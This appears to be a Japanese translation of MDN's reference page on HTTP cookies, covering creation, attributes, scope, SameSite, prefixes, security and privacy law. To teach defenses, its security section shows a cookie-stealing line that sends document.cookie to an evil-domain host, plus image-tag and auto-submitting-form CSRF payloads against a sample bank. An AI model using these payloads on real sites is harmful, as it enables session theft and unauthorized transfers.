HTTP Cookie

HTTP Cookie (ウェブ Cookie、ブラウザー Cookie) は、サーバーがユーザーのウェブブラウザーに送信する小さなデータであり、ブラウザーに保存されて次のリクエストと共に同じサーバーへ返送されます。一般的には、二つのリクエストが同じブラウザーから送信されたものであるかを知るために使用されます。例えば、ユーザーのログイン状態を維持することができます。Cookie は、ステートレスな HTTP プロトコルのためにステートフルな情報を記憶します。

Cookie は主に、以下の 3 つの用途で使用されます。

セッション管理
ログイン、ショッピングカート、ゲームのスコア、またはその他のサーバーが覚えておくべきもの
パーソナライゼーション
ユーザー設定、テーマ、その他の設定
トラッキング
ユーザーの行動の記録及び分析

Cookie は、クライアント側の汎用的な記憶領域として使用されたことがあります。これは他にクライアントへデータを保存する手段がなかった頃は合理的でしたが、現在では新しいストレージ API を採用することが推奨されます。Cookie はすべてのリクエストで送信されるので、 (特にモバイルデータ通信で) 効率を悪くする可能性があります。クライアントストレージ向けの新しい API として、Web storage API (localStorage 及び sessionStorage) と IndexedDB があります。

保存された Cookie (およびウェブページが使用できる他のストレージ) を確認するには、開発ツールのストレージインスペクターを有効化して、ストレージのツリーで Cookie を選択してください。

Cookie の作成

HTTP リクエストを受け取った時、サーバーはレスポンスで Set-Cookie ヘッダーを送信することができます。ふつう、Cookie はブラウザーに保存され、また Cookie は同じサーバーに対して行われるリクエストと共に、HTTP の Cookie ヘッダーの中で送信されます。起源や期間を設定することができ、その後は Cookie が送信されなくなります。加えて、特定のドメインやパスへの制約が設定でき、Cookie をどこに送信するかを制限できます。

HTTP の Set-Cookie レスポンスヘッダーは、サーバーがユーザーエージェントへ Cookie を送信するために使用します。単純な Cookie は次のように設定されます。

Set-Cookie: <cookie-name>=<cookie-value>

このヘッダーは、サーバーからクライアントへ Cookie を保存するよう指示します。

注記: 様々なサーバー側アプリケーションにおける Set-Cookie ヘッダーの使い方は次の通りです。
HTTP/2.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[ページの内容]

そして、サーバーに対するすべての新たなリクエストで、ブラウザーは Cookie ヘッダーを使用して、以前保存したすべての Cookie をサーバーへ送信します。

GET /sample_page.html HTTP/2.0
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

セッション Cookie

上記で作成した Cookie はセッション Cookie です。Expires または Max-Age が指定されていないので、クライアントが終了したときに Cookie が削除されます。但し、ウェブブラウザーがセッション復元を使用すると、セッション Cookie の多くが、ブラウザーが閉じられなかったかのように持続的になることがあります。

持続的 Cookie

持続的 Cookie は、クライアントを閉じるときに無効になるのではなく、指定した日時 (Expires) または指定した期間 (Max-Age) が経過した後に無効になります。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

注記: 期限を設定した場合、設定された日時はサーバーではなく、Cookie が設定されるクライアントの日時に関連します。

Secure 及び HttpOnly Cookie

セキュア Cookie は、 HTTPS プロトコルを通じた暗号化されたリクエストでのみサーバーに送信されます。Secure とは言っても、本質的に安全ではなく、このフラグが本当の保護を提供できる訳ではないので、機密情報を Cookie に保存してはいけません。Chrome 52 及び Firefox 52 より、安全ではないサイト (http:) では Secure ディレクティブが付いた Cookie を設定できなくなっています。

クロスサイトスクリプティング (XSS) 攻撃の軽減を支援するため、 HttpOnly の Cookie は、JavaScript の Document.cookie API からアクセスすることができません。これらはサーバーにのみ送られます。例えば、サーバー側セッションを維持するための Cookie は JavaScript で利用する必要がないので、HttpOnly フラグを設定するべきです。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie のスコープ

Domain 及び Path ディレクティブは、Cookie のスコープ、つまり Cookie を送信する対象の URL を定義します。

Domain は、Cookie を受信することができるホストを指定します。指定されていない場合は、既定で現在の文書がある場所のホストになり、サブドメインは除外されますDomain が指定された場合、サブドメインは常に含まれます。

例えば、Domain=mozilla.org を設定すると、developer.mozilla.org のようなサブドメインも含まれます。

Path は、Cookie ヘッダーを送信するためにリクエストされた URL の中に含む必要がある URL のパスを示します。%x2F ("/") の文字はディレクトリ区切り文字として解釈され、サブディレクトリーにも同様に一致します。

例えば、Path=/docs を設定すると、以下のパスに一致します。

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

SameSite Cookie

SameSite Cookie は、クロスサイト (サイトは registrable domain によって定義されます) へのリクエストに Cookie を送信してはならないことを、サーバーが示せるようにします。これは、クロスサイトリクエストフォージェリ攻撃 (CSRF) に対していくらかの防御となります。

SameSite Cookie は比較的新しく、主要なブラウザすべてで対応されています

次に例を示します。

Set-Cookie: key=value; SameSite=Strict

SameSite 属性は 3 つの値のうち 1 つを取ることができます (大文字小文字の区別なし)。

None
ブラウザーはサイト間リクエスト、同一サイトリクエストの両方で Cookie を送信します。
Strict
ブラウザーは同一サイトリクエスト (Cookie を設定したサイトへ向けたリクエスト) でのみ Cookie を送信します。リクエストが現在の場所の URL とは異なる URL に対して行われる場合、 Strict 属性でタグ付けされた Cookie は含まれません。
Lax
same-site Cookie はサイト間のサブリクエスト、つまり画像やフレームの読み込み時には送信されませんが、外部サイトからの遷移時には送信されます。例えば、リンクをたどって外部サイトから遷移したときです。

ブラウザーはクッキーの既定値を SameSite=Lax にするように移行しつつあります。 Cookie をオリジン間で送信する必要がある場合は、 None ディレクティブを使って SameSite の制限を解除してください。None ディレクティブは Secure 属性を必要とします。

Cookie の仕組みは、安全なオリジンに設定されていることをサーバーから確認できないように設計されていますし、実際に Cookie が最初にどこに設定されたかを知ることができません。 application.example.com のようなサブドメインは、 Domain 属性を設定することで、 example.com や他のサブドメインへのリクエストと一緒に送られる Cookie を設定することができることを思い出してください。

Set-Cookie: CSRF=e8b667; Secure; Domain=example.com

脆弱性のあるアプリケーションがサブドメイン上で利用可能な場合、この仕組みはセッション固定化攻撃で悪用される可能性があります。ユーザーが親ドメイン (または別のサブドメイン) のページを訪問したとき、アプリケーションはユーザーの Cookie で送られた既存の値を信頼するかもしれません。これにより、攻撃者は CSRF 保護を迂回したり、ユーザーがログインした後にセッションを乗っ取ったりすることができます。

あるいは、親ドメインが HSTSincludeSubdomains が設定されている状態で使用しなかった場合、 (おそらくオープンな WiFi ネットワークに接続されている) アクティブな MitM の対象となるユーザーは、存在しないサブドメインからの Set-Cookie ヘッダーを持つレスポンスを提供される可能性があります。ブラウザーは違法な Cookie を保存し、 example.com の下の他のすべてのページに送信します。

セッションの固定化を緩和するには主に、セッション Cookie の値を (Cookie がすでに存在していたとしても) ユーザーが認証するときに再生成し、 CSRF トークンをユーザーに結びつけることで行うべきです。しかし、根本的な防御策として、 Cookie に関する特定の事実を主張するために Cookie の接頭辞を使うことが可能です。以下の二つの接頭辞が利用可能です。

__Host-
Cookie 名にこの接頭辞がついている場合、 Set-Cookie ディレクティブが受け入れられるのは、 Secure であり、安全なオリジンから送信されており、 Domain属性を含んでおらずPath 属性が / に設定されている場合のみです。この場合、これらの Cookie は「ドメインにロックされている」と見なすことができます。
__Secure-
Cookie 名にこの接頭辞がある場合、 Set-Cookie ディレクティブが受け入れられるのは、 Secure であり、安全なオリジンから送信されている場合のみです。これは __Host- 接頭辞よりも弱いものです。

準拠していないクッキーは、送られてもブラウザーが拒否します。これにより、仮にサブドメインがこの名前の Cookie を作成した場合、サブドメインに限定されるか、完全に無視されることが確実になります。アプリケーションサーバーは、ユーザーが認証されているか、あるいは CSRF トークンが正しいかどうかを判断するときに、特定の Cookie 名をチェックするだけなので、これはセッションの固定化に対する防御手段として効果的に機能します。

アプリケーションサーバ上では、ウェブアプリケーションは接頭辞を含む完全な Cookie 名をチェックしなければなりません。—ユーザーエージェントは、リクエストの Cookie ヘッダーを送信する前に Cookie から接頭辞を削除しません

Cookie の接頭辞とブラウザー対応の現在の状態については、 Set-Cookie の節を参照してください。

Document.cookies を使用して JavaScript でアクセスする

Document.cookie プロパティを使用して新しい Cookie を作成することもできます。また HttpOnly フラグが設定されていなければ、既存の Cookie に JavaScript からアクセスすることもできます。

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// "yummy_cookie=choco; tasty_cookie=strawberry" をログに記録

JavaScript で生成された Cookie は HttpOnly フラグを含むことができません。

後述するセキュリティの節に記載したとおり、セキュリティの影響に注意してください。JavaScript で使用できる Cookie は、XSS によって盗まれる可能性があります。

セキュリティ

すべてのクッキーの値がエンドユーザーから見え、変更できることを理解した上で、情報を Cookie に保存してください。アプリケーションによっては、サーバー側で検索される不透明な識別子を使用するか、 JSON ウェブトークンのような代替の認証/機密性メカニズムを調べたほうが良いかもしれません。

セッションハイジャックと XSS

Cookie は、ユーザーや認証セッションの識別を行うために、ウェブアプリケーションでよく使われており、Cookie が盗まれるとユーザーの認証済みセッションの乗っ取りにつながります。Cookie を盗む手口としては、ソーシャルエンジニアリングやアプリケーションの XSS 脆弱性の悪用がよくあります。

(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;

Cookie の HttpOnly 属性を使用すると、 JavaScript で Cookie の値にアクセスできなくため、これらの攻撃を緩和するのに役立ちます。厳格な Content-Security-Policy を展開することで、侵入経路を制限することができます。

クロスサイトリクエストフォージェリ (CSRF)

WikipediaCSRF の的確な例を挙げています。この場面では、誰かが (例えばフィルタリングされていないチャットやフォーラムに) 画像として、本当は画像ではなく銀行のサーバーに対する資金の引き出し要求であるものを含めています。

<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

ここで、もし銀行のアカウントにログイン中であり、Cookie がまだ有効である (また、他の検証が行われていない) 場合は、この画像を含む HTML を読み込むと、すぐに送金されてしまうでしょう。 POST リクエストを必要とする端点では、ページが読み込まれたときにプログラムで <form> の送信を (おそらく不可視の <iframe> で) 起動することができます。

<form action="https://bank.example.com/withdraw" method="POST">
  <input type="hidden" name="account" value="bob">
  <input type="hidden" name="amount" value="1000000">
  <input type="hidden" name="for" value="mallory">
</form>
<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>

このようなことを防ぐために使われる方法がいくつかあります。

  • GET エンドポイントはべき等でなければなりません。—変更を行ったり単にデータを取得するだけではないアクションは、 POST (または他の HTTP メソッドの) リクエストで送信してください。 POST エンドポイントは、クエリ文字列内に引数を持つ GET リクエストを受け入れてはいけません。
  • CSRF トークンは、非表示の入力欄を利用して <form> 要素に含めてください。このトークンはユーザーごとに一意で、リクエストが送られたときにサーバーが期待値を調べることができるように、 (たとえば Cookie に) 保存するようにしてください。アクションを実行する可能性のあるすべての GET 以外のリクエストに対して、 この入力欄を期待値と比較してください。不一致があった場合、リクエストは中止してください。
    • この保護方法は、攻撃者がユーザーに割り当てられた CSRF トークンを予測できないことが前提です。トークンをログイン時に再生成するようにしてください。
  • 機密性の高い動作に使用される Cookie (セッション Cookie など) は、 SameSite 属性を Strict または Lax に設定して、有効期限を短くする必要があります (上記の SameSite Cookie を参照)。対応しているブラウザーでは、これはサイト間リクエストでセッション Cookie が送信されないようにする効果があり、そのリクエストはアプリケーションサーバーで事実上認証されません。
  • CSRF トークンと SameSite Cookie の両方を導入しましょう。これにより、すべてのブラウザーが保護され、 SameSite Cookie では対応できない場合 (別のサブドメインからの攻撃など) にも保護されます。
  • ほかの防御策については、 OWASP CSRF prevention cheat sheet をご覧ください。

トラッキングとプライバシー

サードパーティの Cookie

Cookie には、関連付けられたドメインが存在します。このドメインとページが存在するドメインが同じである Cookie は、ファーストパーティ Cookie と呼びます。ドメインが異なる場合は、サードパーティ Cookie と呼びます。ファーストパーティ Cookie は、Cookie を設定したサーバーにしか送信されませんが、ウェブページには他のドメインのサーバーに保存されている画像などの部品 (広告バナーなど) が含まれている場合があります。これらサードパーティの部品によって送信される Cookie は、サードパーティ Cookie と呼ばれ、主にウェブのいたるところで広告やトラッキングを行うために使われています。例として Google が使用している Cookie の種類をご覧ください。ほとんどのブラウザーは既定でサードパーティ Cookie を許可していますが、それらを遮断できるアドオン (例えば EFF による Privacy Badger) があります。

サードパーティ Cookie を明らかにしなければ、消費者は Cookie の使用が分かったときに害があるものだと考えるでしょう。(プライバシーポリシーなどで) 明確に開示することで、Cookie を見つけたときの悪影響を防止できるでしょう。また、Cookie に関する法令が存在する国もあります。例えば、ウィキメディア財団の Cookie に関する声明をご覧ください。

Do-Not-Track

使用に関して法的あるいは技術的な要求はありませんが、ウェブアプリケーションに、アプリケーションのトラッキングやユーザー個人をサイト間でトラッキングすることを無効化すべきであると知らせるために DNT ヘッダーを使用することができます。詳しくは DNT ヘッダーをご覧ください。

EU における Cookie の要件が、欧州議会の Directive 2009/136/EC で定義され、2011年5月25日に発効しました。指令そのものは法令ではありませんが、EU 加盟国への要求では、指令の要件に合致する適切な法令を施行するよう述べています。実際の法令は、国によって異なります。

簡単に言うと EU 指令では、誰かがコンピューターや携帯電話などの機器に情報を保存したりデバイスから情報を取り出したりする前に、ユーザーは説明に基づいて同意を与えなければなりません。これ以降多くのウェブサイトが、Cookie を使用していることをユーザーに通知するバナー (別名「Cookie バナー」) を追加しました。

詳しくは Wikipedia のこちらの章 をご覧いただき、最新かつ正確な情報を得るために各国の法令を確認してください。

ゾンビ Cookie とエバー Cookie

ゾンビ Cookie やエバー Cookie は、削除後に再作成をしたり、意図的に永久に削除することを困難にしたりする、より過激な Cookie への取り組みです。これは、Web storage API や Flash の Local Shared Objects 等の技術を使用して、 Cookie が存在しないことを検出したときに再作成するものです。

関連情報